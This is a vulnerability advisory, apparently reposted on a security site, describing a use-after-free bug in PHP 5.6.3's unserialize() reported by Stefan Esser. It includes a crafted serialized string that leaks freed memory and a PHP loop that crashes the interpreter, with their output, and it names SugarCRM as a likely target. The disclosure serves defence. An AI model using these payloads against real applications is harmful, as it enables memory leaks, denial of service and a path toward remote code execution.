PHP 5.6.3 unserialize() execute arbitrary code

2014-12-22 / 2015-02-05
Credit: Stefan Esser
Risk: High
Local: No
Remote: Yes

CVSS Base Score: 7.5/10
Impact Subscore: 6.4/10
Exploitability Subscore: 10/10
Exploit range: Remote
Attack complexity: Low
Authentication: No required
Confidentiality impact: Partial
Integrity impact: Partial
Availability impact: Partial

Description: ------------ Reported by Stefan Esser <>: A while ago the function "process_nested_data" was changed to better handle object properties. Before it was possible to create numeric object properties which would cause trouble down the road. So the following code was added: if (!objprops) { ... } else { /* object properties should include no integers */ convert_to_string(key); zend_hash_update(ht, Z_STRVAL_P(key), Z_STRLEN_P(key) + 1, &data, sizeof data, NULL); } Whoever wrote this code did not know about the history of the unserialize() function and that in earlier times (2004) I found a use after free vulnerability in it. A non detailed write up can be found in [Bug 7]. The problem with the above code is that when there are two identical keys in the object's serialized properties the second key will delete the first one from memory and destroy the ZVAL associated with it. This means that ZVAL and all its children is freed from memory. However the unserialize() code will still allow to use R: or r: to set references to that already freed memory. It has been demonstrated many times before that use after free inside unserialize() allows an attacker to execute arbitrary code. Also some programs do not only unserialize() user input but they also sent a serialized() reply back to the caller. In such a setup an attacker can not only trigger code execution but also leak memory content from remote. This together means he can write a fully working remote exploit that bypasses all modern mitigations. Examples how that was possible before you can see from this slide deck (starting from slide 30) Last time I checked one prominent example of PHP code that uses unserialize() and serialize() in this way is: SugarCRM The following code shows the leak: <?php $data = 'O:8:"stdClass":3:{s:3:"aaa";a:5:{i:0;i:1;i:1;i:2;i:2;s:39:"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA";i:3;i:4;i:4;i:5;}s:3:"aaa";i:1;s:3:"ccc";R:5;}'; $x = unserialize($data); var_dump($x); $ php test.php object(stdClass)#1 (2) { ["aaa"]=> int(1) ["ccc"]=> &string(39) "1Y?/" } And the following code should crash PHP: <?php for ($i=4; $i<100; $i++) { var_dump($i); $m = new StdClass(); $u = array(1); $m->aaa = array(1,2,&$u,4,5); $m->bbb = 1; $m->ccc = &$u; $m->ddd = str_repeat("A", $i); $z = serialize($m); $z = str_replace("bbb", "aaa", $z); var_dump($z); $y = unserialize($z); var_dump($y); } As you can see here: $ php x.php int(4) string(134) "O:8:"stdClass":4:{s:3:"aaa";a:5:{i:0;i:1;i:1;i:2;i:2;a:1:{i:0;i:1;}i:3;i:4;i:4;i:5;}s:3:"aaa";i:1;s:3:"ccc";R:5;s:3:"ddd";s:4:"AAAA";}" object(stdClass)#2 (3) { ["aaa"]=> int(1) ["ccc"]=> &NULL ["ddd"]=> string(4) "AAAA" } int(5) string(135) "O:8:"stdClass":4:{s:3:"aaa";a:5:{i:0;i:1;i:1;i:2;i:2;a:1:{i:0;i:1;}i:3;i:4;i:4;i:5;}s:3:"aaa";i:1;s:3:"ccc";R:5;s:3:"ddd";s:5:"AAAAA";}" object(stdClass)#1 (3) { ["aaa"]=> int(1) ["ccc"]=> &NULL ["ddd"]=> string(5) "AAAAA" } int(6) string(136) "O:8:"stdClass":4:{s:3:"aaa";a:5:{i:0;i:1;i:1;i:2;i:2;a:1:{i:0;i:1;}i:3;i:4;i:4;i:5;}s:3:"aaa";i:1;s:3:"ccc";R:5;s:3:"ddd";s:6:"AAAAAA";}" Segmentation fault: 11 Somewhen before you fix and release this I will prepare a POC that demonstrates full control over the program counter and to leak specific stuff from the system.


Vote for this issue:


Thanks for you vote!


Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.

(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2021,


Back to Top